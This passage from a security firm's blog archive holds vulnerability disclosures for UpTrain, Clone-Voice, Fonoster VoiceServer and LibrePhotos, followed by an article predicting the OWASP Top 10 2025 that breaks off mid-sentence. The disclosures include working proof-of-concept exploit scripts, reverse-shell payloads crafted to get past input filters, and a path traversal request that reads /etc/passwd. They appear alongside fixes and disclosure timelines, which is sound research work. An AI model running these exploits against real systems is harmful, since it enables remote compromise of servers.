/tmp/zeropath')" ``` Here's a quick cURL command that demonstrates the exploit: ```bash curl 'http://localhost:4300/api/public/create_project' \ -H 'Accept: */*' \ -H 'Accept-Language: en-US,en' \ -H 'Connection: keep-alive' \ -H 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysFz2W1h9iMH4IFs9' \ -H 'Origin: http://localhost:3000' \ -H 'Referer: http://localhost:3000/' \ -H 'uptrain-access-token: default_key' \ --data-raw $'------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="model"\r\n\r\ngpt-3.5-turbo\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="project_name"\r\n\r\nasdf\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="checks"\r\n\r\n__import__(\'os\').system(\'touch /tmp/zeropath\')\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="dataset_name"\r\n\r\nasdf\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="data_file"; filename="test.jsonl"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9\r\nContent-Disposition: form-data; name="metadata"\r\n\r\n{"gpt-3.5-turbo":{"openai_api_key":"asdf"}}\r\n------WebKitFormBoundarysFz2W1h9iMH4IFs9--\r\n' ``` ## Proof of Concept Here's a full Python PoC script that demonstrates the vulnerability: ```python #!/usr/bin/env python3 import argparse import requests def execute_command(url, command, access_token): headers = { 'Accept': '*/*', 'Accept-Language': 'en-US,en', 'Connection': 'keep-alive', 'Origin': 'http://localhost:3000', 'Referer': 'http://localhost:3000/', 'uptrain-access-token': access_token } data = { 'model': 'gpt-3.5-turbo', 'project_name': 'zeropath', 'checks': f'__import__(\'os\').system(\'{command}\')', 'dataset_name': 'zeropath', 'metadata': '{"gpt-3.5-turbo":{"openai_api_key":"dummy_key"}}' } print(f"[*] Generated payload: {data['checks']}") files = { 'data_file': ('test.jsonl', '', 'application/octet-stream') } response = requests.post(url + "/api/public/create_project", headers=headers, data=data, files=files) return response.status_code, response.text def main(): parser = argparse.ArgumentParser(description='UpTrain Exploit PoC') parser.add_argument('--url', required=True, help='UpTrain URL') parser.add_argument('--cmd', help='Command to execute') parser.add_argument('--shell', nargs=2, metavar=('IP', 'PORT'), help='Reverse shell IP and port') parser.add_argument('--token', default='default_key', help='UpTrain access token (default: default_key)') args = parser.parse_args() if not args.cmd and not args.shell: parser.error("Either --cmd or --shell must be provided") if args.shell: command = f"bash -c \"bash -i >& /dev/tcp/{args.shell[0]}/{args.shell[1]} 0>&1\" &" else: command = args.cmd print("[!] UpTrain Exploit PoC") print(f"[*] Target URL: {args.url}") print(f"[*] Executing command: {command}") print(f"[*] Using access token: {args.token}") status_code, response_text = execute_command(args.url, command, args.token) if status_code == 500: print("[+] Command executed successfully!") else: print("[-] Command execution failed.") if __name__ == "__main__": main() ``` ![PoC Screenshot](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/uptrain-ss-2.png) ## Bonus: CSRF + RCE Chain Chaining this RCE with a Cross-Site Request Forgery (CSRF) attack could allow an attacker to compromise a local instance of this app. This is not a traditional CSRF scenario, as it leverages the default API key ("default_key") which is accepted by the vulnerable endpoints. If an attacker can trick a user who is running UpTrain locally to visit their webpage, the attacker can use the victim's browser to send a malicious POST request to the local UpTrain instance, triggering the RCE. Here's a proof-of-concept HTML page that demonstrates this attack: ```html ZeroPath UpTrain CSRF + RCE POC ``` ![CSRF POC](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/uptrain-csrf-rce-poc.gif) ## Want to chat? This RCE vulnerability gives a partial demonstration of ZeroPath's scanning capabilities. While many vulnerability scanners might have flagged this issue, ZeroPath's ability to automatically investigate results across large numbers of repositories was a big help with initial identification. If you're interested in how you can use ZeroPath to improve your code security, please set up a [call](https://cal.com/team/zeropath/chat) with our team! ## Legal Disclaimer The Proof of Concept (PoC) provided serves solely for educational and research objectives. Its purpose is to showcase a specific vulnerability and aid in comprehending associated security risks. The creators and contributors of this blog disclaim all liability for the improper use or any damage or harm resulting from the use of this PoC. By utilizing this PoC, you consent to use it in a responsible manner and at your own risk. --- #### Command Injection Vulnerability in Clone-Voice Project - **Date**: August 24, 2024 - **Authors**: Nathan Hrncirik, Raphael Karger - **Reading Time**: 10 minutes - **Keywords**: command injection, vulnerability, clone-voice, cybersecurity, open-source, exploit - **URL**: https://zeropath.com/blog/command-injection-vulnerability-clone-voice Security researchers at ZeroPath uncover a command injection vulnerability in the popular open-source "clone-voice" project. --- # Command Injection Vulnerability in Clone-Voice Project *By [Nathan Hrncirik](https://www.linkedin.com/in/nathan-hrncirik/) and [Raphael Karger](https://www.linkedin.com/in/raphael-karger/), Security Researchers at ZeroPath* ZeroPath security researchers discovered a critical command injection vulnerability in [Clone-Voice](https://github.com/jianchang512/clone-voice), a popular open-source project for voice cloning with an unauthenticated web interface. This vulnerability, when exploited, allows malicious actors to execute arbitrary commands on the server hosting the Clone-Voice application. | ![PoC Demo](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/clone-voice-rce-poc.gif) | |:--:| | *Proof of concept demo* | ## Vulnerability Discovery + Details ZeroPath's vulnerability scanner initially flagged a potential command injection vulnerability in the `/upload` route of the Clone-Voice application. Further investigation revealed that the vulnerability was indeed present, but exploiting it proved to be more challenging than initially anticipated due to several input processing steps. The core issue lies in the use of `os.system()` without sanitizing user input in the file upload functionality. Here's the vulnerable code snippet from the `/upload` route: ```python @app.route('/upload', methods=['POST']) def upload(): try: audio_file = request.files['audio'] save_dir = request.form.get("save_dir",'') save_dir = VOICE_DIR if not save_dir else os.path.join(ROOT_DIR, f'static/{save_dir}') app.logger.info(f"[upload]{audio_file.filename=},{save_dir=}") noextname, ext = os.path.splitext(os.path.basename(audio_file.filename.lower())) noextname = noextname.replace(' ', '') if audio_file and ext in [".wav", ".mp3", ".flac"]: name = f'{noextname}{ext}' if os.path.exists(os.path.join(save_dir, f'{noextname}{ext}')): name = f'{datetime.datetime.now().strftime("%m%d-%H%M%S")}-{noextname}{ext}' tmp_wav = os.path.join(TMP_DIR, "tmp_" + name) audio_file.save(tmp_wav) if ext != '.wav': name = f"{name[:-len(ext)]}.wav" savename = os.path.join(save_dir, name) os.system(f'ffmpeg -hide_banner -y -i "{tmp_wav}" "{savename}"') try: os.unlink(tmp_wav) except: pass return jsonify({'code': 0, 'msg': 'ok', "data": name}) else: return jsonify({'code': 1, 'msg': 'not wav'}) except Exception as e: app.logger.error(f'[upload]error: {e}') return jsonify({'code': 2, 'msg': 'error'}) ``` The problem is simple - the filename retrieved from `request.files['audio']` is directly interpolated into the `os.system()` function. However, getting a PoC quickly became reminiscent of a Capture The Flag (CTF) competition, as our payload has to go through multiple layers of processing: 1. Spaces are stripped 2. All characters are converted to lowercase 3. Any forward slash cuts off all subsequent characters Our first attempt was relatively simple: ``` hello$(id).mp3 ``` And successfully executed. However, attempts to run more complex commands with spaces, like `cat app.py`, fail due to the space character being stripped. ### Attempting to Overcome Spaces To bypass the space restriction, we attempted to use the `${IFS}` variable, a common technique in CTFs and command injection bypasses: ``` hello$(echo${IFS}test123).mp3 ``` This fails because the input was converted to lowercase, rendering the `${IFS}` variable unusable. This is the moment coming up with the PoC started feeling like a CTF challenge to me. After deciding this was like a CTF, I set out to try and just get `cat flag.txt` to work before a full reverse shell. It turns out you can do this using input redirection: ``` hello$(cat& /dev/tcp/127.0.0.1/1337 0>&1` We have many default linux commands available to us, but the `date` command was the best fit. The output of date will always contain a space in character four, no matter when you run it. Using the sh magic below, we were able to get another variable with a space character stored: ``` d=$(date)&&f=${d%${d#????}}&&s=${f#???} ``` So now we have everything we need to generate a reverse shell payload, we just need to put it together. ``` hello`pwd=$(pwd)&&d=$(date)&&f=${d%${d#????}}&&s=${f#???}&&bash${s}-c${s}\"bash${s}-i${s}>&${s}${pwd%${pwd#?}}dev${pwd%${pwd#?}}tcp${pwd%${pwd#?}}127.0.0.1${pwd%${pwd#?}}4242${s}0>&1"`.flac ``` ## Proof of Concept ```python #!/usr/bin/env python3 import argparse import requests def execute_rce(url, ip, port): print("[!] Clone-Voice RCE PoC") print(f"[*] Target URL: {url}") print(f"[*] Reverse shell: {ip}:{port}") # beautiful payload payload = f"hello`pwd=$(pwd)&&d=$(date)&&f=${{d%${{d#????}}}}&&s=${{f#???}}&&bash${{s}}-c${{s}}\"bash${{s}}-i${{s}}>&${{s}}${{pwd%${{pwd#?}}}}dev${{pwd%${{pwd#?}}}}tcp${{pwd%${{pwd#?}}}}{ip}${{pwd%${{pwd#?}}}}{port}${{s}}0>&1\"`.flac" print(f"[*] Generated payload filename: {payload}") print("[*] Sending malicious upload") files = {'audio': (payload, "test")} try: response = requests.post(f"{url}/upload", files=files) response.raise_for_status() result = response.json() print("[+] Upload successful!") print("[*] Server response:") print(f" Code: {result['code']}") print(f" Message: {result['msg']}") if 'data' in result: print(f" Data: {result['data']}") print("[*] If the exploit was successful, you should receive a reverse shell connection.") except requests.exceptions.RequestException as e: print(f"[-] Error occurred while uploading: {e}") def main(): parser = argparse.ArgumentParser(description='Clone-Voice RCE PoC') parser.add_argument('--url', required=True, help='Target URL (e.g., http://localhost:9000)') parser.add_argument('--shell', nargs=2, metavar=('IP', 'PORT'), required=True, help='Reverse shell IP and port') args = parser.parse_args() execute_rce(args.url, args.shell[0], args.shell[1]) if __name__ == "__main__": main() ``` ## Want to chat? This command injection vulnerability gives a partial demonstration of ZeroPath's scanning capabilities. While many vulnerability scanners might have flagged this issue, ZeroPath's ability to automatically investigate results across large numbers of repositories was a big help with initial identification. If you're interested in how you can use ZeroPath to improve your code security, please set up a [call](https://cal.com/team/zeropath/chat) with our team! ## Legal Disclaimer The Proof of Concept (PoC) provided serves solely for educational and research objectives. Its purpose is to showcase a specific vulnerability and aid in comprehending associated security risks. The creators and contributors of this blog disclaim all liability for the improper use or any damage or harm resulting from the use of this PoC. By utilizing this PoC, you consent to use it in a responsible manner and at your own risk. --- #### Fonoster VoiceServer LFI Vulnerability (CVE-2024-43035) - **Date**: August 24, 2024 - **Authors**: Nathan Hrncirik - **Reading Time**: 8 minutes - **Keywords**: cybersecurity, vulnerability, LFI, Fonoster, VoiceServer, proof of concept, mitigation - **URL**: https://zeropath.com/blog/fonoster-voiceserver-lfi-vulnerability Security researchers at ZeroPath discovered a Local File Inclusion (LFI) vulnerability in Fonoster VoiceServer, an open-source AI project for building voice applications. --- # Fonoster VoiceServer LFI Vulnerability (CVE-2024-43035) *By Nathan Hrncirik, Co-Founder and Security Researcher at ZeroPath* Security researchers at ZeroPath discovered a Local File Inclusion (LFI) vulnerability in [Fonoster VoiceServer](https://github.com/fonoster/fonoster), a popular open-source platform for building voice applications. | ![PoC Demo](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/fonoster-lfi-poc.gif) | |:--:| | *Proof of concept demo* | ## Vulnerability Discovery + Details The vulnerability stems from insecure handling of user input in the file serving functionality of Fonoster VoiceServer. Specifically, the vulnerability was identified in two endpoints within the VoiceServer: - `/sounds/:file` - `/tts/:file` Both of these endpoints are handled by the `serveFiles` function in `utils.ts`. The core issue here is the insecure joining of the config.pathToFiles and req.params.file variables without proper validation: ```javascript export const serveFiles = (config: ServerConfig) => { return (req, res) => { fs.readFile( join(config.pathToFiles, req.params.file), function (err, data) { if (err) { res.send("unable to find or open file"); } else { res.setHeader("content-type", "audio/x-wav"); res.send(data); } res.end(); } ); }; }; ``` ## Proof of Concept To demonstrate the vulnerability, we can send a malicious GET request to the `/sounds` endpoint. For example, this command attempts to read the `/etc/passwd` file: ```bash curl http://localhost:3000/sounds/..%2f..%2f..%2fetc%2fpasswd ``` This simple cURL request exploits the lack of security checks to traverse the directory structure and access local system files. ## Mitigation To address these kinds of vulnerabilities, we recommend using the following security measures: 1. **Input Validation**: Validate the `file` parameter conforms to your expected input, and doesn't contain any path traversal attempts. 2. **Path Normalization**: Use `path.normalize()` to remove any `../` sequences from the file path. 3. **Path Resolution**: Check that the new normalized path remains within the intended directory. config.pathToFiles in this case. Here's an example of how the `serveFiles` function could be improved: ```javascript export const serveFiles = (config: ServerConfig) => { return (req, res) => { const requestedPath = join(config.pathToFiles, req.params.file); const normalizedPath = normalize(requestedPath); if (!normalizedPath.startsWith(config.pathToFiles) || isAbsolute(req.params.file)) { res.status(403).send('Access denied'); return; } fs.readFile(normalizedPath, (err, data) => { if (err) { res.status(404).send('Unable to find or open file'); } else { res.setHeader('Content-Type', 'audio/x-wav'); res.send(data); } }); }; }; ``` ## Conclusion + Timeline - July 21, 2024: Initial email sent to Fonoster developers detailing the vulnerability. - July 25, 2024: Follow-up email sent due to lack of response. - July 30, 2024: Second follow-up email sent, still receiving no response. - August 21, 2024: Submitted vulnerability details and a patch via GitHub. - August 23, 2024: Public disclosure of the vulnerability. Currently, there is no patched version for the Fonoster VoiceServer. We recommend making the suggested mitigations yourself or taking down your Fonoster server until an official patch is released. ## Want to chat? This local file inclusion vulnerability gives a partial demonstration of ZeroPath's scanning capabilities. While many vulnerability scanners might have flagged this issue, ZeroPath's ability to automatically investigate results across large numbers of repositories was a big help with initial identification. If you're interested in how you can use ZeroPath to improve your code security, please set up a [call](https://cal.com/team/zeropath/chat) with our team! ## Legal Disclaimer The Proof of Concept (PoC) provided serves solely for educational and research objectives. Its purpose is to showcase a specific vulnerability and aid in comprehending associated security risks. The creators and contributors of this blog disclaim all liability for the improper use or any damage or harm resulting from the use of this PoC. By utilizing this PoC, you consent to use it in a responsible manner and at your own risk. --- #### LibrePhotos Arbitrary File Upload + Path Traversal PoC - **Date**: August 24, 2024 - **Authors**: Nathan Hrncirik - **Reading Time**: 12 minutes - **Keywords**: LibrePhotos, arbitrary file upload, vulnerability, cybersecurity, path traversal, open-source, ZeroPath - **URL**: https://zeropath.com/blog/librephotos-arbitrary-file-upload-vulnerability ZeroPath security researchers uncover an unauthenticated arbitrary file upload vulnerability in LibrePhotos, a popular open-source photo management solution. --- # LibrePhotos Arbitrary File Upload + Path Traversal PoC *By Nathan Hrncirik, Co-Founder and Security Researcher at ZeroPath* ZeroPath security researchers discovered a critical vulnerability in [LibrePhotos](https://github.com/LibrePhotos/librephotos), a popular open-source self-hosted photo management platform. The vulnerability allows for unauthenticated arbitrary file upload, which, when combined with a path traversal vulnerability, enables attackers to write files anywhere on the system. | ![PoC Demo](https://sfo-zp-fe-assets.sfo3.cdn.digitaloceanspaces.com/blog-assets/librephotos-file-upload-poc.gif) | |:--:| | *Proof of concept demo* | ## Vulnerability Discovery + Details The bug stems from a lack of authentication and input sanitization in LibrePhotos' file upload functionality. Specifically, the issue lies in the `on_completion` function in the `api/views/upload.py` file: ```python def on_completion(self, uploaded_file, request): user = User.objects.filter(id=request.POST.get("user")).first() filename = request.POST.get("filename") device = "web" if not os.path.exists(os.path.join(user.scan_directory, "uploads")): os.mkdir(os.path.join(user.scan_directory, "uploads")) if not os.path.exists(os.path.join(user.scan_directory, "uploads", device)): os.mkdir(os.path.join(user.scan_directory, "uploads", device)) # ... (omitted for brevity) photo_path = os.path.join(user.scan_directory, "uploads", device, filename) if photo_path: with open(photo_path, "wb") as f: photo.seek(0) f.write(photo.read()) ``` The direct use of the user-supplied `filename` in the `os.path.join()` function without proper sanitization allows an attacker to manipulate the `photo_path` variable, setting it to an arbitrary location outside the intended `scan_directory`. By including path traversal sequences `../` in the filename, an attacker can write files to any accessible location on the servers filesystem. To demonstrate the vulnerability, we've created a proof-of-concept script that exploits the arbitrary file upload and path traversal vulnerabilities: ```python #!/usr/bin/env python3 import argparse import requests import hashlib import os def calculate_md5(file_path): hash_md5 = hashlib.md5() with open(file_path, "rb") as f: for chunk in iter(lambda: f.read(4096), b""): hash_md5.update(chunk) return hash_md5.hexdigest() def chunked_upload(file_path, upload_url, complete_url, user_id, target_filename): md5_hash = calculate_md5(file_path) print(f"[*] MD5 hash of file: {md5_hash}") with open(file_path, 'rb') as file: files = {'file': (target_filename, file)} data = { 'filename': target_filename, 'user': user_id, 'scan_directory': "tmp", 'md5': md5_hash } response = requests.post(upload_url, files=files, data=data) if response.status_code != 200: print(f"[-] Upload initiation failed: {response.text}") return upload_id = response.json().get('upload_id') if not upload_id: print("[-] Failed to get upload_id from response") return print(f"[+] Upload initiated with upload_id: {upload_id}") data = { 'upload_id': upload_id, 'filename': target_filename, 'user': user_id, 'md5': md5_hash } response = requests.post(complete_url, data=data) if response.status_code == 500: print("[+] Upload completed successfully") else: print(f"[-] Upload completion failed: {response.text}") def main(): parser = argparse.ArgumentParser(description='File Upload Vulnerability PoC') parser.add_argument('--url', required=True, help='Base URL of the target application') parser.add_argument('--file', required=True, help='Path to the file to upload') parser.add_argument('--target', required=True, help='Target filename (including path) on the server') parser.add_argument('--user', default='1', help='User ID (default: 1)') args = parser.parse_args() upload_url = f"{args.url}/api/upload/" complete_url = f"{args.url}/api/upload/complete/" print("[!] LibrePhotos Arbitrary File Upload Vulnerability PoC") print(f"[*] Target URL: {args.url}") print(f"[*] File to upload: {args.file}") print(f"[*] Target filename: {args.target}") print(f"[*] User ID: {args.user}") chunked_upload(args.file, upload_url, complete_url, args.user, args.target) if __name__ == "__main__": main() ``` ## Conclusion We submitted a [pull request](https://github.com/LibrePhotos/librephotos/pull/1379) to fix the path traversal vulnerability. The PR was promptly merged, so we recommend upgrading to the latest version of LibrePhotos on GitHub. ## Want to chat? This path traversal vulnerability gives a partial demonstration of ZeroPath's scanning capabilities. While many vulnerability scanners might have flagged this issue, ZeroPath's ability to automatically investigate results across large numbers of repositories was a big help with initial identification. If you're interested in how you can use ZeroPath to improve your code security, please set up a [call](https://cal.com/team/zeropath/chat) with our team! ## Legal Disclaimer The Proof of Concept (PoC) provided serves solely for educational and research objectives. Its purpose is to showcase a specific vulnerability and aid in comprehending associated security risks. The creators and contributors of this blog disclaim all liability for the improper use or any damage or harm resulting from the use of this PoC. By utilizing this PoC, you consent to use it in a responsible manner and at your own risk. --- ### News (5 most recent of 5 total) #### OWASP Top 10 2021 vs 2025: What to Expect - **Date**: June 1, 2025 - **Authors**: ZeroPath Security Research - **Reading Time**: 7 minutes - **Keywords**: OWASP Top 10, OWASP Top 10 2025, OWASP Top 10 2021, OWASP Top Ten Vulnerabilities 2021, OWASP Top Ten Vulnerabilities 2025, Owasp 2021 vs 2025, OWASP Top 10 2021 vs 2025, OWASP Top 10 2021 vs 2025 comparison, OWASP Top 10 2021 vs 2025 similarities, OWASP Top 10 2021 vs 2025 changes, OWASP Top 10 2021 vs 2025 new vulnerabilities, OWASP Top 10 2021 vs 2025 new threats - **URL**: https://zeropath.com/blog/owasp-2021-vs-2025 After looking at multiple pentest reports and industry talks, we expect changes to be made to OWASP Top 10 2025. Here is an expected list for OWASP Top 10 2025 with each category explained in detail. --- ## What is OWASP Top 10 The [OWASP Top 10](https://zeropath.com/blog/what-is-owasp) started in 2003 as a quick awareness sheet; two decades later, it is the data‑driven scoreboard for web application risk. In every release cycle, the project collects thousands of real vulnerability records and surveys of security engineers and then weights each category by prevalence, exploitability, detectability, and business impact. OWASP regularly updates the list to reflect evolving threats, making it a cornerstone of web application security. ## OWASP Top 10 2021 Overview OWASP Top 10 2021 introduced some significant changes to the Top 10 list from 2017. - **Broken Access Control is now #1:** 9 of 10 pentests reveal privilege-escalation paths, making authorization a top priority. - **Shift left to design & dependencies:** Introducing categories like Insecure Design and Software & Data Integrity Failures was a start to push teams to threat model early and lock down supply-chain pipelines. - **XSS Merge:** OWASP folded Cross-Site Scripting into A03 Injection. Of all the applications tested by OWASP, 94% had broken access control, proving that even decades of SDL training haven't reduced its occurrence. For a deeper dive into each of the 2021 categories, [see our OWASP 2021 breakdown.](https://zeropath.com/blog/what-is-owasp) ## OWASP 2025 Top 10 Predictions OWASP plans to release the list in the first half of 2025, and expectations are that the OWASP Top 10 2025 will emphasize "secure-by-design" ideas. In 2021, OWASP already signaled this shift by introducing [Insecure Design](https://owasp.org/Top10/A04_2021-Insecure_Design/) as a category focused on design-level weaknesses and the need for threat modeling and secure patterns. Overall, there is a push towards avoiding vulnerabilities early rather than patching them later in production, a push towards shifting left. Another expected change is consolidating overlapping categories to keep the list straightforward. OWASP has trended toward broader risk categories in recent cycles. The 2021 list folded Cross-Site Scripting into the general Injection category and merged XML External Entity issues into Security Misconfiguration. 2025 should be no different. Monitoring Failures (with few Common Weakness Enumerations mapped) might be absorbed into Insecure Design since lack of monitoring is fundamentally a design oversight. Apart from restructuring, some new vulns have the potential to make it to the list. ### 1. Broken Access Control This category has consistently ranked as one of the top web app risks. It covers failures to enforce proper user privileges, such as missing authorization checks or predictable object IDs that allow unauthorized data access. CWEs that fall under this category are IDOR, forced browsing, file permission issues, etc. OWASP mentioned that Broken Access Control has 34 CWEs mapped to it and has more occurrences in applications than any other category. Researchers found some form of access-control weakness in 94% of the tested apps. This overwhelming prevalence is why it moved to #1 and will likely remain there in 2025. - #### T-Mobile Breach: A case in point is the T-Mobile API breach disclosed in January 2023. Attackers accessed an exposed API endpoint without proper authentication, stealing the personal data of 37 million customers over two months. T-Mobile admitted the API "provided access to limited customer data" that should have been protected. While T-Mobile didn't fully disclose the technical details, security analysts note this is as a classic example of broken object-level authorization (a client could retrieve other users' data via an unauthenticated or improperly authorized request). - #### Twitter Data Leak: In early 2023, 235 million user records were exposed. This stemmed from a flaw in a Twitter API introduced by a 2021 update. The API allowed an attacker to enumerate or link user accounts with email or phone numbers without proper rate limiting or checks. This design oversight (essentially, broken access control at the API level) enabled the scraping of a vast dataset of user info. ### 2. Injection Despite safer ORMs and auto‑escaping frameworks, SQLi, XSS, SSTI, Command Injection, and NoSQLi are still huge issues. Injection occurs when an application sends untrusted data to an interpreter without proper sanitization or binding, allowing attackers to execute unintended commands or queries. Some injection flaws include SQL injection, OS command injection, and LDAP/NoSQL injection. - **MOVEit Transfer breach**: MOVEit is a managed file transfer web application used by hundreds of organizations. The attackers exploited the SQL injection flaw ([CVE-2023-34362](https://zeropath.com/blog/cve-2023-34362-moveit-transfer-sql-injection-exploitation)) in May 2023, gaining unauthorized access to MOVEit's database and ultimately installing web shell backdoors, enabling mass data theft from any organization running the vulnerable software. By October 2023, over 2,000 organizations were affected by this vector, impacting over 60 million individuals as the affected organizations dragged their clients into the breach. The financial toll was nearly $10 billion. ### 3. Insecure Design (and Lack of Monitoring) Insecure design is based on more fundamental design and architectural weaknesses in applications than mere implementation bugs. It refers to cases where developers did not consider security during the initial design of a feature or system, leading to gaps that a simple patch cannot fix. OWASP's rationale for adding this category was to encourage a "shift left" mindset. In other words, building security from the design phase could eliminate many security issues rather than retrofitting it later. A classic example of insecure design is an application that lacks anti-automation controls by design – for instance, failing to impose any rate limits or captcha on sensitive operations. Such a design flaw doesn't violate a specific coding rule but opens the door for abuse (bots performing credential stuffing, data scraping, etc.). It's hard to pinpoint real-world breaches solely to "insecure design" since design flaws often manifest as complex logic issues. However, there have been incidents that clearly stem from poor design decisions. - #### Twitter API (2021-22) The Twitter API vulnerability we discussed earlier allowed anyone to run unlimited queries that linked email addresses to user accounts, which was a design oversight in the feature. This oversight let attackers scrape roughly 235 million user records in 2021-2022. ### 4. Identification and Authentication Failures This category covers weaknesses in how identities are proven and maintained: weak password complexity requirements, missing multi-factor authentication, session ID leaks or not expiring sessions, and logic flaws in login or password reset flows. This category actually saw a positive impact and went from #2 in 2017 to #7 in 2021, possibly thanks to the broader adoption of secure frameworks and libraries for authentication. In 2023, the **CircleCI breach** (Jan 2023) involved stealing an employee's 2FA-backed SSO session token to penetrate the development platform's network, after which they could exfiltrate customer secrets. In mid-2023, security researchers revealed flaws in implementing OAuth for specific **Microsoft applications** that could allow token forgery under particular conditions, essentially an authentication logic error. This category shows that everything from password storage to session management to MFA enforcement must be correctly implemented. In most cases, the basics are what fail: databases of user credentials left in plaintext or predictable password reset tokens that attackers guess. ### 5. Cryptographic Failures (Sensitive Data Exposure) Cryptographic failures involve weaknesses in protecting data in transit and at rest, from using outdated encryption algorithms or improper cipher modes to failing to encrypt sensitive data. 2021 changes shifted the focus of this category from data getting exposed (symptom) to poor use of crypto (the root cause). - #### LastPass (2022-2023) Although it started as a compromise of the developer's credentials, the most critical failures were cryptographic. The attackers exfiltrated encrypted password vaults, and it emerged that many vaults relied on potentially insufficient PBKDF2 hashing iterations. In 2023, LastPass had to increase its PBKDF2 iterations and fix some legacy encryption practices, essentially correcting a cryptographic weakness that could have led to vault cracking. Basic pitfalls of Cryptographic Failures: - Using deprecated or weak cryptographic algorithms/protocols (e.g., MD5, SHA-1, DES, or legacy SSL/TLS versions). - Misusing cryptographic primitives or modes (e.g., reusing initialization vectors (IVs) or nonces, using insecure cipher modes like ECB, or neglecting cryptographic integrity/authenticity checks). - Inadequate protection of sensitive data at rest (such as storing passwords in plaintext or using unsalted, low-iteration hashes for credentials). - Failing to enforce secure transport for data in transit (e.g., not using TLS everywhere or neglecting HSTS, which allows downgrade attacks to HTTP). ### 6. Security Misconfiguration Security Misconfigurations include leaving default admin passwords in place, having directory listings open on a server, enabling debug or trace modes in production, misconfigured cloud storage buckets, improper CORS settings, verbose error messages revealing stack traces, and many more. The surge of cloud services and containerized deployments has increased the ways misconfigs happen. In 2021, OWASP mentioned that 90% of applications tested had some form of misconfiguration issue. These factors led to a rank upgrade for this category (it became OWASP A05:2021) and absorbed the prior XML External Entities risk into itself. - #### Toyota The company disclosed a data breach affecting millions of customers caused by an improper cloud configuration on a developer system. The misconfiguration left customer and vehicle databases accessible without authentication for years. ### 7. Vulnerable and Outdated Components (Improper Asset Management) Web apps usually rely on multiple third-party components and libraries, from open-source frameworks to commercial SDKs. The idea is that organizations must keep a record of their frontend/backend components and ensure they are promptly patched. In 2021, this category notably had no CVEs directly mapped in the OWASP data because it's more of a broad risk than a single weakness. Some of the most damaging attacks in recent years have been due to unpatched but known vulnerabilities. - #### Log4Shell ([CVE-2021-44228](https://zeropath.com/blog/cve-2021-44228-log4shell-log4j-rce)) Researchers disclosed a critical flaw in the Log4j logging library in late 2021. Throughout 2022 and well into 2023, attackers continued to exploit Log4Shell on systems that had not yet applied the fix. In fact, according to joint cybersecurity agency reports, Log4Shell was still among the top exploited vulnerabilities in 2023. The primary issue with this category is not the Vulnerabilities themselves but the fact that many organizations are reluctant to upgrade even after a patch is available and actively broadcast. ### 8. Software and Data Integrity Failures Software and Data Integrity Failures ensure that software updates and continuous integration/deployment (CI/CD) pipelines are trustworthy and not tampered with. OWASP created this category to address issues like insecure deserialization and supply chain vulnerabilities beyond using outdated components. It highlights the risks in our assumptions about software: assuming an update server is delivering legit code or that a pipeline is secure from the injection. - #### 3CX Software In this attack, a nation-state actor compromised a trading software `(X_Trader)` and used it as a beachhead to infiltrate 3CX's network; they then implanted malware into 3CX's legitimate application updates. As Mandiant, who investigated, noted: "This is the first time [we have] seen a software supply chain attack lead to another supply chain attack." If someone breaks into your build pipeline or updates the signing process, they can turn your software into a trojan horse without your customers or even you realizing it. 3CX was distributing signed, malware-laced installers for weeks before detection. This incident perfectly echoes the 2020 SolarWinds Orion incident. - #### npm and PyPI Recently, there was a surge in the number of malicious packages on both npm and PyPI. A PyPI package called ```web3-utils``` was tracking environment variables. ### 9. Algorithmic Denial of Service (ReDoS and Expensive Queries) Given the recent ReDoS incidents, OWASP will likely include this category in the OWASP 2025 Top 10. Algorithmic DoS attacks exploit weaknesses in application algorithms or data processing logic to exhaust server resources with minimal input. The codebase usually has nothing wrong, but the vulnerability lies in the fundamental business logic itself. For example, an attacker can provide specially crafted input to a regex engine, triggering worst-case catastrophic backtracking and consuming extreme CPU time. This can hang or slow the application dramatically for a single request. Similarly, "expensive query" attacks (deeply nested GraphQL queries or unbounded database queries) abuse legitimate query features to force disproportionate work on the server side, leading to potential denial of service. Although ReDoS large-scale incidents have been less frequent than Broken Access Control or SQL Injection, some While ReDoS large-scale incidents are less common than injection flaws, developers have documented several algorithmic DoS vulnerabilities in recent years. - #### ReDoS Vulnerability in Ruby on Rails In early 2024, developers found a ReDoS vulnerability in Ruby on Rails (Action Dispatch's Accept header parser). Rails 7.1.3.1 patched the issue ([CVE-2024-26142](https://zeropath.com/blog/cve-2024-26142-rails-redos-accept-header)) and the maintainers assigned it a score of CVSS 7.5. - #### ReDoS Vulnerability in Node.js Library ReDoS in the popular Node.js library ```get-func-name``` ([CVE-2023-43646](https://zeropath.com/blog/cve-2023-43646-redos-chai-get-func-name)), where an imbalance in parentheses in input could lead to “excessive backtracking” and CPU exhaustion. - #### ReDoS Vulnerabilities in Cloudflare GraphQL APIs are another avenue for algorithmic DoS: Cloudflare reported that GraphQL queries (extremely deep nesting or querying vast amounts of data in one request) could "place a disproportional load on the origin" and effectively cause a denial of service. In response, Cloudflare's API Gateway added protections for "two of the most common GraphQL abuse vectors: deeply nested queries and queries that request more information than they should." The OWASP API Security Top 10 (2023) introduced "Unrestricted Resource Consumption" as a category since unchecked use of CPU, memory, or bandwidth can quickly lead to many types of DoS scenarios in APIs. ### 10. HTTP Request Smuggling (HRS) HTTP Request Smuggling exploits inconsistent parsing of HTTP requests between two or more servers (typically a frontend proxy/load balancer and a backend server). By crafting ambiguous HTTP request sequences, one can "smuggle" a malicious request through the frontend so that the backend interprets an entirely different request sequence. This desynchronization leads to multiple outcomes: capturing users' requests/responses, bypassing security controls, session hijacking, cache poisoning, or even remote code execution in some cases. HRS has gained attention in recent years through research like James Kettle's "HTTP Desync Attacks," it continues to yield critical findings on modern platforms. There have been multiple incidents of HTTP Request Smuggling in recent years. - #### HTTP Request Smuggling in Google Cloud Platform An HRS variant 